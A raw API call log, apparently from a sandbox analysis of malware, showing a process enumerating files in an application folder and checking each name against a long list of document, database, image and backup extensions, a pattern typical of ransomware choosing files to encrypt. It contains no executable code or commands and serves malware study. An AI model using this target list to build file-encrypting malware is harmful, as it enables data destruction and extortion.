lstrlenW (lpString=".ai") returned 3 [0181.344] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.344] lstrlenW (lpString=".ai3") returned 4 [0181.344] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ai4") returned 4 [0181.344] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ai5") returned 4 [0181.344] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ai6") returned 4 [0181.344] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ai7") returned 4 [0181.344] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ai8") returned 4 [0181.344] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".anim") returned 5 [0181.344] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.344] lstrlenW (lpString=".arw") returned 4 [0181.344] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".as") returned 3 [0181.344] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.344] lstrlenW (lpString=".asa") returned 4 [0181.344] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".asc") returned 4 [0181.344] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.344] lstrlenW (lpString=".ascx") returned 5 [0181.345] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.345] lstrlenW (lpString=".asm") returned 4 [0181.345] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".asmx") returned 5 [0181.345] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.345] lstrlenW (lpString=".asp") returned 4 [0181.345] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".aspx") returned 5 [0181.345] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0181.345] lstrlenW (lpString=".asr") returned 4 [0181.345] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".asx") returned 4 [0181.345] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".avi") returned 4 [0181.345] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".avs") returned 4 [0181.345] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".backup") returned 7 [0181.345] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0181.345] lstrlenW (lpString=".bak") returned 4 [0181.345] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".bay") returned 4 [0181.345] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".bd") returned 3 [0181.345] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0181.345] lstrlenW (lpString=".bin") returned 4 [0181.345] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".bmp") returned 4 [0181.345] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0181.345] lstrlenW (lpString=".bz2") returned 4 [0181.345] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0181.346] lstrlenW (lpString=".c") returned 2 [0181.346] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.346] lstrlenW (lpString=".cdr") returned 4 [0181.346] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0181.346] lstrlenW (lpString=".cer") returned 4 [0181.346] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0181.584] lstrlenW (lpString=".cf") returned 3 [0181.584] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0181.584] lstrlenW (lpString=".cfc") returned 4 [0181.584] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0181.584] lstrlenW (lpString=".cfm") returned 4 [0181.585] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".cfml") returned 5 [0181.585] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0181.585] lstrlenW (lpString=".cfu") returned 4 [0181.585] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".chm") returned 4 [0181.585] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".cin") returned 4 [0181.585] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".class") returned 6 [0181.585] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0181.585] lstrlenW (lpString=".clx") returned 4 [0181.585] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".config") returned 7 [0181.585] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0181.585] lstrlenW (lpString=".cpp") returned 4 [0181.585] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".cr2") returned 4 [0181.585] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0181.585] lstrlenW (lpString=".crt") returned 4 [0181.586] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".crw") returned 4 [0181.586] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".cs") returned 3 [0181.586] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0181.586] lstrlenW (lpString=".css") returned 4 [0181.586] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".csv") returned 4 [0181.586] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".cub") returned 4 [0181.586] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".dae") returned 4 [0181.586] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".dat") returned 4 [0181.586] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".db") returned 3 [0181.586] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0181.586] lstrlenW (lpString=".dbf") returned 4 [0181.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".dbx") returned 4 [0181.586] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".dc3") returned 4 [0181.586] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0181.586] lstrlenW (lpString=".dcm") returned 4 [0181.586] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".dcr") returned 4 [0181.587] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".der") returned 4 [0181.587] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".dib") returned 4 [0181.587] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".dic") returned 4 [0181.587] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".dif") returned 4 [0181.587] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".divx") returned 5 [0181.587] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0181.587] lstrlenW (lpString=".djvu") returned 5 [0181.587] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0181.587] lstrlenW (lpString=".dng") returned 4 [0181.587] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".doc") returned 4 [0181.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0181.587] lstrlenW (lpString=".docm") returned 5 [0181.587] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0181.587] lstrlenW (lpString=".docx") returned 5 [0181.587] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0181.588] lstrlenW (lpString=".dot") returned 4 [0181.588] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dotm") returned 5 [0181.588] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0181.588] lstrlenW (lpString=".dotx") returned 5 [0181.588] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0181.588] lstrlenW (lpString=".dpx") returned 4 [0181.588] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dqy") returned 4 [0181.588] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dsn") returned 4 [0181.588] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dt") returned 3 [0181.588] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0181.588] lstrlenW (lpString=".dtd") returned 4 [0181.588] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dwg") returned 4 [0181.588] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dwt") returned 4 [0181.588] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".dx") returned 3 [0181.588] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0181.588] lstrlenW (lpString=".dxf") returned 4 [0181.588] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0181.588] lstrlenW (lpString=".edml") returned 5 [0181.588] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0181.589] lstrlenW (lpString=".efd") returned 4 [0181.589] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".elf") returned 4 [0181.589] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".emf") returned 4 [0181.589] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".emz") returned 4 [0181.589] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".epf") returned 4 [0181.589] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".eps") returned 4 [0181.589] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".epsf") returned 5 [0181.589] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0181.589] lstrlenW (lpString=".epsp") returned 5 [0181.589] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0181.589] lstrlenW (lpString=".erf") returned 4 [0181.589] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".exr") returned 4 [0181.589] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".f4v") returned 4 [0181.589] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0181.589] lstrlenW (lpString=".fido") returned 5 [0181.589] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0181.589] lstrlenW (lpString=".flm") returned 4 [0181.589] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".flv") returned 4 [0181.590] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".frm") returned 4 [0181.590] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".fxg") returned 4 [0181.590] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".geo") returned 4 [0181.590] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".gif") returned 4 [0181.590] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0181.590] lstrlenW (lpString=".grs") returned 4 [0181.590] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0181.591] lstrlenW (lpString=".gz") returned 3 [0181.591] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0181.591] lstrlenW (lpString=".h") returned 2 [0181.591] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.591] lstrlenW (lpString=".hdr") returned 4 [0181.591] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0181.591] lstrlenW (lpString=".hpp") returned 4 [0181.591] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0181.591] lstrlenW (lpString=".hta") returned 4 [0181.591] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0181.592] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0181.592] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0181.592] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0181.592] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0181.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0181.593] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0181.593] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0181.593] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES") returned 100 [0181.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0181.595] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.595] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.595] lstrlenW (lpString="index.html") returned 10 [0181.595] lstrlenW (lpString=".1cd") returned 4 [0181.595] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.595] lstrlenW (lpString=".3ds") returned 4 [0181.595] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.595] lstrlenW (lpString=".3fr") returned 4 [0181.595] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.595] lstrlenW (lpString=".3g2") returned 4 [0181.595] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.595] lstrlenW (lpString=".3gp") returned 4 [0181.595] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.595] lstrlenW (lpString=".7z") returned 3 [0181.595] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.595] lstrlenW (lpString=".accda") returned 6 [0181.596] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".accdb") returned 6 [0181.596] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".accdc") returned 6 [0181.596] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".accde") returned 6 [0181.596] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".accdt") returned 6 [0181.596] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".accdw") returned 6 [0181.596] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.596] lstrlenW (lpString=".adb") returned 4 [0181.596] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.596] lstrlenW (lpString=".adp") returned 4 [0181.596] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.596] lstrlenW (lpString=".ai") returned 3 [0181.596] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.596] lstrlenW (lpString=".ai3") returned 4 [0181.596] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.596] lstrlenW (lpString=".ai4") returned 4 [0181.597] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".ai5") returned 4 [0181.597] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".ai6") returned 4 [0181.597] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".ai7") returned 4 [0181.597] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".ai8") returned 4 [0181.597] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".anim") returned 5 [0181.597] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.597] lstrlenW (lpString=".arw") returned 4 [0181.597] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".as") returned 3 [0181.597] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.597] lstrlenW (lpString=".asa") returned 4 [0181.597] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".asc") returned 4 [0181.597] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.597] lstrlenW (lpString=".ascx") returned 5 [0181.598] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.598] lstrlenW (lpString=".asm") returned 4 [0181.598] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".asmx") returned 5 [0181.598] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.598] lstrlenW (lpString=".asp") returned 4 [0181.598] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".aspx") returned 5 [0181.598] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.598] lstrlenW (lpString=".asr") returned 4 [0181.598] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".asx") returned 4 [0181.598] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".avi") returned 4 [0181.598] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".avs") returned 4 [0181.598] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".backup") returned 7 [0181.598] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.598] lstrlenW (lpString=".bak") returned 4 [0181.598] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".bay") returned 4 [0181.598] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.598] lstrlenW (lpString=".bd") returned 3 [0181.598] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.598] lstrlenW (lpString=".bin") returned 4 [0181.599] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".bmp") returned 4 [0181.599] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".bz2") returned 4 [0181.599] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".c") returned 2 [0181.599] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.599] lstrlenW (lpString=".cdr") returned 4 [0181.599] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".cer") returned 4 [0181.599] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".cf") returned 3 [0181.599] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.599] lstrlenW (lpString=".cfc") returned 4 [0181.599] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".cfm") returned 4 [0181.599] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".cfml") returned 5 [0181.599] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.599] lstrlenW (lpString=".cfu") returned 4 [0181.599] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".chm") returned 4 [0181.599] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".cin") returned 4 [0181.599] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.599] lstrlenW (lpString=".class") returned 6 [0181.600] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.600] lstrlenW (lpString=".clx") returned 4 [0181.600] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.600] lstrlenW (lpString=".config") returned 7 [0181.600] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.600] lstrlenW (lpString=".cpp") returned 4 [0181.600] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.600] lstrlenW (lpString=".cr2") returned 4 [0181.600] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.600] lstrlenW (lpString=".crt") returned 4 [0181.600] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.600] lstrlenW (lpString=".crw") returned 4 [0181.600] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".cs") returned 3 [0181.601] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.601] lstrlenW (lpString=".css") returned 4 [0181.601] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".csv") returned 4 [0181.601] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".cub") returned 4 [0181.601] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".dae") returned 4 [0181.601] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".dat") returned 4 [0181.601] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.601] lstrlenW (lpString=".db") returned 3 [0181.601] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.601] lstrlenW (lpString=".dbf") returned 4 [0181.602] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dbx") returned 4 [0181.602] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dc3") returned 4 [0181.602] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dcm") returned 4 [0181.602] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dcr") returned 4 [0181.602] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".der") returned 4 [0181.602] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dib") returned 4 [0181.602] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dic") returned 4 [0181.602] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".dif") returned 4 [0181.602] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".divx") returned 5 [0181.602] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.602] lstrlenW (lpString=".djvu") returned 5 [0181.602] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.602] lstrlenW (lpString=".dng") returned 4 [0181.602] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".doc") returned 4 [0181.602] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.602] lstrlenW (lpString=".docm") returned 5 [0181.603] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.603] lstrlenW (lpString=".docx") returned 5 [0181.603] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.603] lstrlenW (lpString=".dot") returned 4 [0181.603] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dotm") returned 5 [0181.603] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.603] lstrlenW (lpString=".dotx") returned 5 [0181.603] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.603] lstrlenW (lpString=".dpx") returned 4 [0181.603] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dqy") returned 4 [0181.603] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dsn") returned 4 [0181.603] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dt") returned 3 [0181.603] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.603] lstrlenW (lpString=".dtd") returned 4 [0181.603] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.603] lstrlenW (lpString=".dwg") returned 4 [0181.603] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 